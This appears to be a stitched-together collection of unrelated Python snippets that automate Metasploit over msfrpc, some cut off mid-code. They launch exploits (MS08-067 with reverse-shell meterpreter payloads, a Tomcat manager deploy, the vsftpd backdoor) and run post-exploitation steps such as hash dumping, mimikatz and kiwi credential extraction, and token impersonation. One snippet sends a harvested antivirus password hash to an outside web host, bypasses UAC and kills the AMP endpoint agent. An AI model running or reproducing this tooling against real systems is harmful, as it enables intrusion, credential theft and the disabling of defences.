def advanced(ip_input): client = msfrpc.Msfrpc({}) client.login('msf','abc123') res = client.call('console.create') console_id = res['id'] a = client.call('console.write', [console_id, "db_nmap -f --iflist %s \n" %ip_input]) a = client.call('console.write', [console_id, "db_nmap -v -O --osscan-guess %s \n" %ip_input]) a = client.call('console.write', [console_id, "db_nmap -PA -PS -PO -PU %s \n" %ip_input]) a = client.call('console.write', [console_id, "db_nmap -sT %s \n" %ip_input]) a = client.call('console.write', [console_id, "db_nmap --reason %s \n" %ip_input]) a = client.call('console.write', [console_id, "db_nmap %s \n" %ip_input]) a = client.call('console.write', [console_id, "hosts \n"]) a = client.call('console.write', [console_id, "services \n"]) time.sleep(1) while True: res = client.call('console.read',[console_id]) if len(res['data']) > 1: print res['data'], if res['busy'] == True: time.sleep(1) continue break cleanup = client.call('console.destroy',[console_id]) print "Cleanup result: %s" %cleanup['result'] exit()
def run_commands(verbose, iplist, user, passwd, dom, port, file): bufsize = 0 e = open(file, 'a', bufsize) done = False client = msfrpc.Msfrpc({}) client.login('msf','msfrpcpassword') try: result = client.call('console.create') except: sys.exit("[!] Creation of console failed!") console_id = result['id'] console_id_int = int(console_id) for ip in iplist: if verbose > 0: print("[*] Building custom command for: %s") % (str(ip)) command, module = build_command(verbose, user, passwd, dom, port, ip) if verbose > 0: print("[*] Executing Metasploit module %s on host: %s") % (module, str(ip)) client.call('console.write',[console_id, command]) time.sleep(1) while done != True: result = client.call('console.read',[console_id_int]) if len(result['data']) > 1: if result['busy'] == True: time.sleep(1) continue else: console_output = result['data'] e.write(console_output) if verbose > 0: print(console_output) done = True e.closed client.call('console.destroy',[console_id])
def scan(ip_addr): client = msfrpc.Msfrpc({}) client.login('msf', 'abc123') res = client.call('console.create') console_id = res['id'] a = client.call('console.write', [console_id, "hosts \n"]) a = client.call('console.write', [console_id, "db_nmap %s \n" % ip_addr]) time.sleep(1) while True: res = client.call('console.read', [console_id]) if len(res['data']) > 1: print res['data'], if res['busy'] == True: time.sleep(1) continue break cleanup = client.call('console.destroy', [console_id]) print "Cleanup result: %s" % cleanup['result'] exit()
def initialise(username, msf_pass): # Declare global variables used here global msf_client global res global console_id global retval global outfile # Create a new instance of the Msfrpc client with the default options msf_client = msfrpc.Msfrpc({}) # Login to the msf server using the password defined within msfconsole (msf> load msgrpc Pass=abc123) msf_client.login(user=username, password=msf_pass) res = msf_client.call('console.create') console_id = res['id'] print "res: %s" % res #outfile.write("res: " + res) retval = msf_client.call('console.write', [ console_id, "db_connect " + username + ":" + msf_pass + "@127.0.0.1/msf\n" ]) time.sleep(1)
def main(args): CLIENT = msfrpc.Msfrpc({}) CLIENT = get_perm_token(CLIENT) sessions = CLIENT.call('session.list') domain_data = {'domain':None, 'domain_controller':None, 'domain_admins':None} while True: sessions, domain_data = check_sessions(CLIENT, sessions, domain_data) time.sleep(.5)
def __init__(self): self.client = msfrpc.Msfrpc({}) self.console_id = None self.query = None self.search = None self.page = 10 self.lock = threading.Lock() self.thread_count = 10 self.STOP_ME = [False] self.queue = Queue()
def testMsfConnection(self, username, password, port, log): try: client = msfrpc.Msfrpc({'port': int(port)}) client.login(user=username, password=password) res = client.call('console.create') console_id = res['id'] log.put("success") except: log.put("fail")
def get_msf_client(): client = msfrpc.Msfrpc({}) try: client = get_perm_token(client) except: print_bad('Failed to connect to MSF RPC server,' ' are you sure metasploit is running and you have the right password?', None, None) sys.exit() return client
def __init__(self): self.client = msfrpc.Msfrpc({}) self.console_id = None self.query = None self.search = None self.page = 10 self.STOP_ME = [False] self.queue = Queue() self.module = None self.moduleType = None self.opts = {}
def __init__(self, port, host, ip, user, password): self.client = msfrpc.Msfrpc({ 'uri': '/msfrpc', 'port': port, 'host': host, 'ssl': True }) self.auth = self.client.login(user, password) #Escaneo sincrono self.nm = nmap.PortScanner() if self.auth: self.console = self.client.call('console.create') self.ip = ip
def metasploit_fun(RPORT, RHOSTS, exploit): # Create a new instance of the Msfrpc client with the default options client = msfrpc.Msfrpc({}) print "In Metasploit Fun" # Login to the msf server using the password "abc123" client.login(user='******', password='******') try: if "vsftpd_234_backdoor" in exploit: res = client.call('console.create') #print(res) console_id = res['id'] #print("res: %s" %res) time.sleep(1) #a = client.call('console.write', [console_id, "workspace -a " + str(session) + "\n"]) time.sleep(1) a = client.call('console.write', [console_id, "set THREADS 1\n"]) time.sleep(1) #a = client.call('console.write', [console_id, """workspace """+str(session)+"\n"]) time.sleep(1) a = client.call('console.write', [console_id, """use """ + str(exploit) + "\n"]) time.sleep(1) a = client.call('console.write', [console_id, """set RHOST """ + RHOSTS + "\n"]) time.sleep(1) a = client.call('console.write', [console_id, """set CPORT """ + str(RPORT) + "\n"]) time.sleep(1) a = client.call('console.write', [console_id, "exploit -z\n"]) time.sleep(5) while True: res = client.call('console.read', [console_id]) if len(res['data']) > 1: if "created in the background" in res['data']: print(res['data'], ) print "SuccesFull Shell Sir Host Engaged Bonesaw Complete" break if res['busy'] == True: time.sleep(1) continue else: try: standard_exploitation(RPORT, RHOSTS, exploit) except: pass except: pass
def main(args): CLIENT = msfrpc.Msfrpc({}) CLIENT = get_perm_token(CLIENT) loop = asyncio.get_event_loop() loop.add_signal_handler(signal.SIGINT, kill_tasks) task = asyncio.ensure_future(check_for_sessions(CLIENT)) try: loop.run_until_complete(task) except asyncio.CancelledError: print_info('Tasks gracefully downed a cyanide pill before defecating themselves and collapsing in a twitchy pile') finally: loop.close()
def standard_exploitation(exploit, RHOST, RPORT): try: client = msfrpc.Msfrpc({}) print "In Metasploit Standard Exploit Routine" # Login to the msf server using the password "abc123" client.login(user='******', password='******') print exploit res = client.call('console.create') print(res) console_id = res['id'] print("res: %s" % res) time.sleep(1) a = client.call('console.write', [console_id, "set THREADS 1\n"]) time.sleep(1) a = client.call('console.write', [console_id, """use """ + exploit + "\n"]) time.sleep(1) a = client.call('console.write', [console_id, """set RHOST """ + RHOST + "\n"]) time.sleep(1) a = client.call('console.write', [console_id, """set RPORT """ + str(RPORT) + "\n"]) time.sleep(1) a = client.call('console.write', [console_id, "exploit -z\n"]) time.sleep(5) while True: res = client.call('console.read', [console_id]) if len(res['data']) > 1: if "created in the background" in res['data']: print(res['data'], ) print "SuccesFull Shell Sir Host Engaged Bonesaw Complete" break if not "created in the background" in res['data']: print(res['data'], ) if res['busy'] == True: time.sleep(1) continue except: pass
def __init__(self, ip_file, verbose): self.ip_file = ip_file self.result_reg = re.compile( "\[\*\]\s([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\s:\s(.*)" ) self.verbose_opt = verbose self.client = msfrpc.Msfrpc({'port': 55552, 'host': '127.0.0.1'}) try: self.client.login('msf', 'msf') except socket.error: print >> sys.stderr, bcolors.OKBLUE + "Error : " + bcolors.ENDC + bcolors.FAIL + "Can't Connect to MSFRPC Service, Please Checck this using this command netstat -nlput | grep '55552'" + bcolors.ENDC sys.exit(2) self.resource = self.client.call('console.create') self.console_id = self.resource['id'] if self.verbose_opt >= 3: self.verbose("Console Id", self.console_id) self.verbose("Resource", self.resource)
def sploiter(RHOST, LHOST, LPORT, session): client = msfrpc.Msfrpc({}) client.login('msf', '123') ress = client.call('console.create') console_id = ress['id'] ## Exploit MS08-067 ## commands = """use exploit/windows/smb/ms08_067_netapi set PAYLOAD windows/meterpreter/reverse_tcp set RHOST """+RHOST+""" set LHOST """+LHOST+""" set LPORT """+LPORT+""" set ExitOnSession false exploit -z """ print "[+] Exploiting MS08-067 on: "+RHOST client.call('console.write',[console_id,commands]) res = client.call('console.read',[console_id]) result = res['data'].split('\n') ## Run Post-exploit script ## runPost = """use post/multi/gather/run_console_rc_file set RESOURCE /tmp/smbpost.rc set SESSION """+session+""" exploit """ print "[+] Running post-exploit script on: "+RHOST client.call('console.write',[console_id,runPost]) rres = client.call('console.read',[console_id]) ## Setup Listener for presistent connection back over port 80 ## sleep(10) listen = """use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LPORT 80 set LHOST """+LHOST+""" exploit """ print "[+] Setting up listener on: "+LHOST+":80" client.call('console.write',[console_id,listen]) lres = client.call('console.read',[console_id]) print lres
def exploit(RHOST, RPORT): client = msfrpc.Msfrpc({}) client.login('msf', 'password') ress = client.call('console.create') console_id = ress['id'] ## Exploit TOMCAT MANAGER ## commands = """use exploit/multi/http/tomcat_mgr_deploy set PATH /manager set HttpUsername tomcat set HttpPassword tomcat set RHOST """+RHOST+""" set RPORT """+RPORT+""" set payload java/meterpreter/bind_tcp exploit """ print("[+] Exploiting TOMCAT MANAGER on: "+RHOST) client.call('console.write',[console_id,commands]) res = client.call('console.read',[console_id]) result = res['data'].split('n')
f5 = Frame(root, relief=GROOVE, width=80, height=100, bd=8) f5.place(x=1, y=100) canvas4 = Canvas(f5) frame4 = Frame(canvas4) canvas4.pack(side="left") canvas4.create_window((1, 1), window=frame4, anchor='nw') frame4.bind("<Configure>", myfunction) ####################################################### # Run a "sudo freshclam" to update the AV database :) # ####################################################### try: # Create a new instance of the Msfrpc client with the default options client = msfrpc.Msfrpc({}) #subprocess.Popen("sudo freshclam", shell=True).wait() subprocess.Popen("service clamav-daemon restart", shell=True).wait() # Login to the msfmsg server using the password "abc123" client.login('msf', 'abc123') print(green(blink("Connection to msfrpc successful!"))) # Get a list of the exploits from the server and print the windows' ones mod = client.call('module.exploits') except: sys.exit( red( blink( "Connection Failed. Please run << msfrpcd -U msf -P abc123 -f -S -a 127.0.0.1 >> in another terminal" ))) raise_frame(f)
import msfrpc username = '******' password = '******' # Create a new instance of the Msfrpc client with the default options client = msfrpc.Msfrpc({'port': 55553}) # Login in metasploit server client.login(username, password) # Get a list of the exploits from the server exploits = client.call('module.exploits') # Get the list of compatible payloads for the first option payloads = client.call('module.compatible_payloads', [exploits['modules'][0]]) for i in (payloads.get('payloads')): print("\t%s" % i)
import time, msfrpc client = msfrpc.Msfrpc({}) #cria o cliente que fara acesso do MSF via python cliente.login("msf", "senha12345") #realiza o login no msfconsole #load msgrpc Pass=senha12345 sessao = client.call( "console.create" ) #cria um console dentro do msf passando as informacoes de ID para vinculo entre o comando python e o console criado comando = """use auxiliary/scanner/smb/smb_version set RHOSTS 10.0.0.100 exploit """ #define o comando que e digitado no console client.call("console.write", [sessao["id"], comando]) #escreve no console o comando time.sleep(3) #aguarda 3 segundos para que seja executado o comando acima resultado = client.call("console.read", [sessao["id"]]) #le o resultado while resultado["busy"]: resultado = client.call("console.read", [sessao["id"]]) time.sleep(1) print resultado["data"] client.call("console.destroy", [sessao["id"]]) #finaliza a sessao criada no MSFconsole
# -*- encoding: utf-8 -*- import msfrpc import time client = msfrpc.Msfrpc({'uri':'/msfrpc', 'port':'5553', 'host':'127.0.0.1', 'ssl': True}) auth = client.login('msf','password') def processData(consoleId): while True: readedData = client.call('console.read',[consoleId]) print(readedData['data']) if len(readedData['data']) > 1: print(readedData['data']) if readedData['busy'] == True: time.sleep(1) continue break if auth: console = client.call('console.create') #read commands from the file commands_file.txt file = open ("commands_file.txt", 'r') commands = file.readlines() file.close() # Execute each of the commands that appear in the file print(len(commands)) for command in commands:
try: control.generate(first, second, third) except: "ERROR: Script generation failed.\n" pass cmd = "" cmd += "msfconsole -q -r ./cert/transport/instruction/muscle" os.system(cmd) sys.exit(0) if args.log == "all": webbrowser.open('file:///root/.msf4/loot/', new=2) sys.exit(0) if args.log == "loot": client = msfrpc.Msfrpc({});client.login('msf','abc123') res = client.call('console.create');console_id = res['id'] a = client.call('console.write', [console_id, "loot \n"]);time.sleep(1) a = client.call('console.write', [console_id, "creds -t password \n"]);time.sleep(1) while True: res = client.call('console.read',[console_id]) if len(res['data']) > 1: print res['data'];break sys.exit(0) if args.log == "whereis": xuser = args.user try: stat.origin(xuser) except: "Ooops! User was not found!\n"
def runMsf(params, host_id, init, log_name): #startTime = time.time() log = [] computer_name = "" host_os = "" architecture = "" system_language = "" host_domain = "" mustMigrate = False try: client = msfrpc.Msfrpc({'port':int(params.msf_port)}) client.login(user=params.msf_user, password=params.msf_pass) res = client.call('console.create') console_id = res['id'] except: params.log("there was an error connecting to the metasploit instance") params.setReturnValue("run again") return [False, log, True] res = setupMeterpreter(client, console_id, log_name, init) if res[2] == True: params.setReturnValue("run again") hasPermission = False for l in res[1]: log.append(l) if res[0] == True: hasPermission = True for l in runCommand(client, console_id, log_name, "getuid", 3, 60, [ "username" ]): log.append(l) for l in runCommand(client, console_id, log_name, "webcam_list", 3, 60, [ "No webcams were found", "Operation failed" ]): log.append(l) for l in runCommand(client, console_id, log_name, "sysinfo", 3, 60, [ "Meterpreter" ]): log.append(l) try: #if l.find("Computer") != -1: if l[:8] == "Computer": #computer_name = l[l.find("Computer") + 9:].split(":")[1].strip() computer_name = l.split(":")[1].strip() #elif l.find("OS") != -1: elif l[:2] == "OS": #host_os = l[l.find("OS") + 3:].split(":")[1].strip() host_os = l.split(":")[1].strip() #elif l.find("Architecture") != -1: elif l[:12] == "Architecture": #architecture = l[l.find("Architecture") + 13:].split(":")[1].strip() architecture = l.split(":")[1].strip() #elif l.find("System Language") != -1: elif l[:15] == "System Language": #system_language = l[l.find("System Language") + 16:].split(":")[1].strip() system_language = l.split(":")[1].strip() #elif l.find("Domain") != -1: elif l[:6] == "Domain": #host_domain = l[l.find("Domain") + 7:].split(":")[1].strip() host_domain = l.split(":")[1].strip() #elif l.find("Meterpreter") != -1: elif l[:11] == "Meterpreter": #if l[l.find("Meterpreter") + 11:].split(":")[1].strip().split("/")[0] != architecture[:3]: if l.split(":")[1].strip().split("/")[0] != architecture[:3]: mustMigrate = True except: print "DEBUG :: error extracting val from [{}]".format(l) #print "sysinfo results comp[{}] os[{}] arch [{}] lan[{}] domain[{}]".format(computer_name, host_os, architecture, system_language, host_domain) if host_domain != "": #print "DEBUG :: host domain is " + host_domain sql = "update host_data set computer_name = %s, os = %s, architecture = %s, system_language = %s, domain = %s where id = %s" cursor = params.db.cursor() cursor.execute(sql, (computer_name, host_os, architecture, system_language, host_domain, host_id, )) cursor.close() cursor = params.db.cursor() cursor.execute("select addDomain(%s, %s::varchar)", (params.footprint_id, host_domain, )) cursor.close() closeWinShell = False dcname = "" dcip = "" #dcflags = "" for l in runCommand(client, console_id, log_name, """execute -f cmd -a "/K nltest /dclist:" -i -d -H""", 3, 60, [ "C:" ]): log.append(l) if l.find("[DS]") != -1: while l.find(" ") != -1: l = l.replace(" ", " ") hostname = l.split(" ")[1] dcips = os.popen("host {} | cut -d \ -f 4".format(hostname)).read()[:-1] for dcip in dcips.split("\n"): if dcip != "found:": print "dc {} has ip {}".format(hostname, dcip) cursor = params.db.cursor() #cursor.execute("call addHost(%s, %s, %s, 1)", (params.footprint_id, dcip, hostname, )) cursor.execute("select addHost(%s, %s::varchar, %s::varchar, true)", (params.footprint_id, dcip, hostname, )) cursor.close() sql = "update host_data set domain = %s::varchar where footprint_id = %s and ip_address = %s::varchar" cursor = params.db.cursor() cursor.execute(sql, (host_domain, params.footprint_id, dcip, )) cursor.close() if l[:2] == "C:": if closeWinShell == False: closeWinShell = True if closeWinShell: runCommand(client, console_id, log_name, "exit", 3, 5, [ ], True) closeWinShell for l in runCommand(client, console_id, log_name, """execute -f cmd -a "/K nltest /dsgetdc: /IP" -i -d -H""", 3, 60, [ "C:" ]): log.append(l) #if l.find("DC: ") != -1: dcname = l.split(":")[1].strip() if l.find("Address") != -1: dcip = l.split(":")[1].strip()[2:] elif l.find("Dom Name") != -1: dcname = l.split(":")[1].strip().split(".")[0] elif l.find("Flags:") != -1: #dcflags = l.split(":")[1].strip() #print "found domain controller: {0} {1} {2}".format(dcname, dcip, dcflags) cursor = params.db.cursor() #cursor.execute("call addHost(%s, %s, '', 1)", (params.footprint_id, dcip, )) cursor.execute("select addHost(%s, %s::varchar, ''::varchar, true)", (params.footprint_id, dcip, )) cursor.close() sql = "update host_data set domain = %s where footprint_id = %s and ip_address = %s" cursor = params.db.cursor() cursor.execute(sql, (host_domain, params.footprint_id, dcip, )) cursor.close() if l[:2] == "C:": if closeWinShell == False: closeWinShell = True if closeWinShell: runCommand(client, console_id, log_name, "exit", 3, 5, [ ], True) closeWinShell for l in runCommand(client, console_id, log_name, "getsystem", 3, 60, [ "got system via technique", "Operation failed" ]): log.append(l) for l in runCommand(client, console_id, log_name, "use incognito", 3, 60, [ "success", "extension has already been loaded" ]): log.append(l) for l in runCommand(client, console_id, log_name, "list_tokens -u", 3, 60, [ "Impersonation Tokens Available" ]): log.append(l) if l.find("Tokens Available") == -1 and l.find("list_tokens") == -1 and l.find("=====") == -1: if l != "": cursor = params.db.cursor() #cursor.execute("call addToken(%s, %s)", (host_id, l.strip(), )) cursor.execute("select addToken(%s, %s::varchar)", (host_id, l.strip(), )) cursor.close() foundHashes = False for l in runCommand(client, console_id, log_name, "run post/windows/gather/hashdump", 3, 60, [ "Dumping password hashes..." ]): log.append(l) if foundHashes == True: if l != "": info = l.split(":") cursor = params.db.cursor() #cursor.execute("call addLocalCredentials(%s, %s, %s, %s, %s)", (host_id, info[0], "", info[2], info[3], )) cursor.execute("select addLocalCredentials(%s, %s::varchar, %s::varchar, %s::varchar, %s::varchar)", (host_id, info[0], "", info[2], info[3], )) cursor.close() if l.find("Dumping password hashes") != -1: foundHashes = True for l in runCommand(client, console_id, log_name, "use kiwi", 3, 10, [ "success", "extension has already been loaded" ]): log.append(l) lsa_log = [] for l in runCommand(client, console_id, log_name, "lsa_dump", 3, 60, [ "NTLM Hash", "SAM Key Count" ]): log.append(l) lsa_log.append(l) for user in parseLSAOutput(params, lsa_log): domain = user[0].split("\\")[0].upper() username = user[0].split("\\")[1] if user[0].split("\\")[0].upper() == host_domain.upper(): cursor = params.db.cursor() #cursor.execute("call addDomainCreds(%s, %s, %s, %s, %s, '', '')", (params.footprint_id, host_id, domain, username, user[1], )) cursor.execute("select addDomainCreds(%s, %s, %s::varchar, %s::varchar, %s::varchar, '', '')", (params.footprint_id, host_id, domain, username, user[1], )) cursor.close() #TODO: call this function when you find a place to test it #else: # print "local creds found: {0} {1}".format(user[0], user[1]) if mustMigrate == True: for l in runCommand(client, console_id, log_name, "run post/windows/manage/sp_smart_migrate", 3, 60, [ "Successfully migrated to process", "Was unable to sucessfully migrate" ]): log.append(l) for l in runCommand(client, console_id, log_name, "getsystem", 3, 60, [ "got system via technique", "Operation failed" ]): log.append(l) for l in runCommand(client, console_id, log_name, "creds_all", 3, 60, [ "Domain" ]): log.append(l) for l in runCommand(client, console_id, log_name, "use mimikatz", 3, 60, [ "success." ]): log.append(l) for l in runCommand(client, console_id, log_name, "mimikatz_command -f sekurlsa::searchPasswords", 3, 60, [ "Error", "erreur", "Access is denied", "}" ]): log.append(l) if l[:1] == "[": try: details = l.split("{")[1].split("}")[0].split(";") username = details[0][1:-1] domain = details[1][1:-1] password = details[2][1:-1] if (domain == computer_name): cursor = params.db.cursor() cursor.execute("call addLocalCredentials(%s, %s, %s, %s, %s)", (host_id, username, password, "", "", )) cursor.close() else: if username.find("$") == -1: if username == host_domain: temp = username username = domain domain = temp if domain == host_domain: cursor = params.db.cursor() cursor.execute("call addDomainCreds(%s, %s, %s, %s, %s, '', '')", (params.footprint_id, host_id, domain, username, password, )) cursor.close() #print "" #print "found domain credentials : [{0}\{1}:{2}]".format(domain, username, password) #print "" except: print "error extracting creds from :" + l for l in runCommand(client, console_id, log_name, "exit", 3, 5, [ "closed" ]): log.append(l) return [hasPermission, log, False]
import os import sys import time import msfrpc import argparse import netifaces from IPython import embed from termcolor import colored from threading import Thread, Lock from libnmap.process import NmapProcess from netaddr import IPNetwork, AddrFormatError from subprocess import Popen, PIPE, CalledProcessError from libnmap.parser import NmapParser, NmapParserException CLIENT = msfrpc.Msfrpc({}) def parse_args(): # Create the arguments parser = argparse.ArgumentParser() parser.add_argument("-l", "--hostlist", help="Host list file") parser.add_argument("-p", "--password", default='Au70PwN', help="Password for msfrpc") parser.add_argument("-u", "--username", default='msf', help="Username for msfrpc") parser.add_argument("-x", "--xml", help="Nmap XML file")
def runMsf_GatherDomainUsersAndGroups(params, domain_id, init, log_name): log = [] client = msfrpc.Msfrpc({'port':int(params.msf_port)}) client.login(user=params.msf_user, password=params.msf_pass) res = client.call('console.create') console_id = res['id'] runWithDifferentUser = False res = setupMeterpreter(client, console_id, log_name, init) if res[2] == True: params.setReturnValue("run again") hasPermission = False for l in res[1]: log.append(l) if res[0] == True: hasPermission = True for l in runCommand(client, console_id, log_name, "execute -f cmd -i -d -H", 3, 60, [ ">" ]): log.append(l) for l in runCommand(client, console_id, log_name, """dsquery group -limit 0""", 3, 60, [ ">" ]): log.append(l) if l.find("The target principal name is incorrect") != -1: runWithDifferentUser = True if l.find("'dsquery' is not recognized as an internal or external command") != -1: runWithDifferentUser = True if l[:1] == '"': print "DEBUG :: " + l cursor = params.db.cursor() cursor.execute("call addDomainGroup(%s, %s, %s)", (params.footprint_id, domain_id, l.split(",")[0].split("=")[1], )) cursor.close() cursor = params.db.cursor() cursor.execute("select id, group_name from domain_groups where footprint_id = %s and domain_id = %s", (params.footprint_id, domain_id, )) items = cursor.fetchall() cursor.close() for row in items: for l in runCommand(client, console_id, log_name, """dsquery group -name "{0}" | dsget group -members | dsget user -samid""".format(row[1]), 3, 120, [ ">" ], True): log.append(l) #print "DEBUG !!! [{}] [{}]".format(l[:-1], l[:-1][:2]) #print "DEBUG !! [{}] [{}] [{}] [{}]".format(l[:-1], l[:1], l[:2], l[:3]) #DANE if l[:2] == " ": if l[2:-1].strip() != "samid": #print "add user [{}] to group [{}]".format(l[2:-1].strip(), "bla") cursor = params.db.cursor() cursor.execute("call addDomainUserToGroup(%s, %s, %s, %s)", (params.footprint_id, domain_id, l[2:-1].strip(), row[0], )) cursor.close() #if l[:-1][:2] == " ": # print "add user [{}] to group [{}]".format(l[1:-1], "bla") #else: # print "var [{}] doesn't satisfy".format(l[:2]) #if l[:1] == '"': # if l.find("CN=Users") != -1: # userName = l.split(",")[0].split("=")[1] # #groupName = row[1] # #print "found domain group map. {0} is in the group {1}".format(userName, row[1) # #print "running this sql: call addDomainUserToGroup({}, {}, {}, {})".format(params.footprint_id, domain_id, userName, row[0]) # cursor = params.db.cursor() # cursor.execute("call addDomainUserToGroup(%s, %s, %s, %s)", (params.footprint_id, domain_id, userName, row[0], )) # cursor.close() for l in runCommand(client, console_id, log_name, "exit", 3, 5, [ ], True): log.append(l) for l in runCommand(client, console_id, log_name, "exit", 3, 5, [ "closed" ]): log.append(l) if runWithDifferentUser == True: #print "the thing failed, mark it as such in the db, and try again with a different set of creds" pass else: cursor = params.db.cursor() cursor.execute("update domains set info_gathered = 1 where id = %s", (domain_id, )) cursor.close() return [hasPermission, log, runWithDifferentUser]
def runMsf_ExtractDomainHashes(params, domain_id, init, log_name): log = [] client = msfrpc.Msfrpc({'port':int(params.msf_port)}) client.login(user=params.msf_user, password=params.msf_pass) res = client.call('console.create') console_id = res['id'] res = setupMeterpreter(client, console_id, log_name, init) if res[2] == True: params.setReturnValue("run again") hasPermission = False for l in res[1]: log.append(l) if res[0] == True: hasPermission = True for l in runCommand(client, console_id, log_name, "getuid", 3, 60, [ "username" ]): log.append(l) host_domain = "" for l in runCommand(client, console_id, log_name, "sysinfo", 3, 60, [ "Meterpreter" ]): log.append(l) if l.find("Domain") != -1: host_domain = l[l.find("Domain") + 7:].split(":")[1].strip() if host_domain == "": time.sleep(60) for l in runCommand(client, console_id, log_name, "sysinfo", 3, 60, [ "Meterpreter" ]): log.append(l) if l.find("Domain") != -1: host_domain = l[l.find("Domain") + 7:].split(":")[1].strip() for l in runCommand(client, console_id, log_name, "getsystem", 3, 60, [ "got system via technique" ]): log.append(l) for l in runCommand(client, console_id, log_name, "run post/windows/manage/sp_smart_migrate", 3, 60, [ "Successfully migrated to process", "Was unable to sucessfully migrate" ]): log.append(l) inHashesSection = False for l in runCommand(client, console_id, log_name, "run post/windows/gather/smart_hashdump", 3, 60 * 60, [ "$" ]): log.append(l) if l.find("Dumping password hashes...") != -1: inHashesSection = True if inHashesSection == True: if l[:3] == "[+]": d = l.split(":") username = d[0][3:].strip() lm_hash = d[2] ntlm_hash = d[3] if username.find("$") == -1: #print "found hash {0}\{1} {2}:{3}".format(host_domain, username, lm_hash, ntlm_hash) cursor = params.db.cursor() cursor.execute("call addDomainCreds(%s, 0, %s, %s, '', %s, %s)", (params.footprint_id, host_domain, username, lm_hash, ntlm_hash, )) cursor.close() for l in runCommand(client, console_id, log_name, "exit", 3, 5, [ "closed" ]): log.append(l) cursor = params.db.cursor() cursor.execute("update domains set hashes_extracted = 1 where id = %s", (domain_id, )) cursor.close() cursor = params.db.cursor() cursor.execute("call executeTriggers(%s, %s, 11, '');", (params.footprint_id, domain_id, )) cursor.close() return [hasPermission, log]
# -*- encoding: utf-8 -*- import msfrpc import time client = msfrpc.Msfrpc({ 'uri': '/msfrpc', 'port': '8000', 'host': '0.0.0.0', 'ssl': True }) auth = client.login('usuario', 'password') ip = '0.0.0.0' def processData(consoleId): while True: readedData = client.call('console.read', [consoleId]) print readedData['data'] if len(readedData['data']) > 1: print readedData['data'] if readedData['busy'] == True: time.sleep(1) continue break if auth: console = client.call('console.create') print console #SSH
console_output = result['data'] #print(console_output) done = True return console_output def find_info(regex, dump, verbose=False): matches = re.findall(regex, dump, re.M) if verbose: for match in matches: print "[*] Matched data: " + match return matches #Initializing msfrpc client and console client = msfrpc.Msfrpc({'host': '127.0.0.1', 'port': 55553, 'ssl': False}) try: client.login('msf', 'test') print('[*] Connection to mdfrpc successful') except: sys.exit("[!] Connection Failed") try: result = client.call('console.create') print('[*] Console creation successful') except: sys.exit("[!] Creation of console failed!") console_id = result['id'] console_id_int = int(console_id) #Initializing module
def sploiter(LHOST, LPORT, session): # INITIATE RPC CONNECTION client = msfrpc.Msfrpc({}) client.login('msf', 'abc123') ress = client.call('console.create') console_id = ress['id'] # BUILD AP2.PY RC FILE builder('/tmp/smbpost.rc', """load python python_import -f /etc/amp/apf2.py """) # SETUP HANDLER commands = """use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST """ + LHOST + """ set LPORT """ + LPORT + """ set ExitOnSession false exploit """ client.call('console.write', [console_id, commands]) res = client.call('console.read', [console_id]) result = res['data'].split('n') # Run Post-exploit script runPost = """use post/multi/gather/run_console_rc_file set RESOURCE /tmp/smbpost.rc set SESSION """ + session + """ exploit """ client.call('console.write', [console_id, runPost]) sleep(8) test_met = client.call('session.meterpreter_read', [session]) SFC_PATH = test_met['data'].split('AMPDIR::')[1].split('::ENDDIR')[0] PASS_HASH = test_met['data'].split('AMPHASH::')[1].split('::ENDHASH')[0] print '\nMETERPRETER\n' print str(SFC_PATH) + '\n' print str(PASS_HASH) import urllib2 import urllib ENC_PASS_HASH = urllib.quote_plus(PASS_HASH) AMP_PASS_REQ = urllib2.urlopen( "http://www.actforit.com/amp_decrypt.php?password="******"""background use exploit/windows/local/bypassuac_comhijack set payload windows/x64/meterpreter/reverse_tcp set session """ + session + """ set lhost """ + LHOST + """ set lport 4488 exploit """) # EXECUTE UAC RC FILE runPosta = """use post/multi/gather/run_console_rc_file set RESOURCE /tmp/smbposta.rc set SESSION """ + session + """ exploit """ client.call('console.write', [console_id, postacomms]) sleep(3) sleep(12) #BUILD AND EXECUTE AMP SERVICE KILLER print '[+]::KILLING AMP' client.call('console.read', [console_id]) builder( '/tmp/smbpostb.rc', """execute -f 'cmd.exe /c \"""" + SFC_PATH + """\" -k """ + AMP_PASS + """' """) ELEV_SESS = int(session) + 1 print ELEV_SESS runPostb = """background getsystem use post/multi/gather/run_console_rc_file set RESOURCE /tmp/smbpostb.rc set SESSION """ + str(ELEV_SESS) + """ exploit """ client.call('console.write', [console_id, runPostb]) client.call('session.meterpreter_read', [session])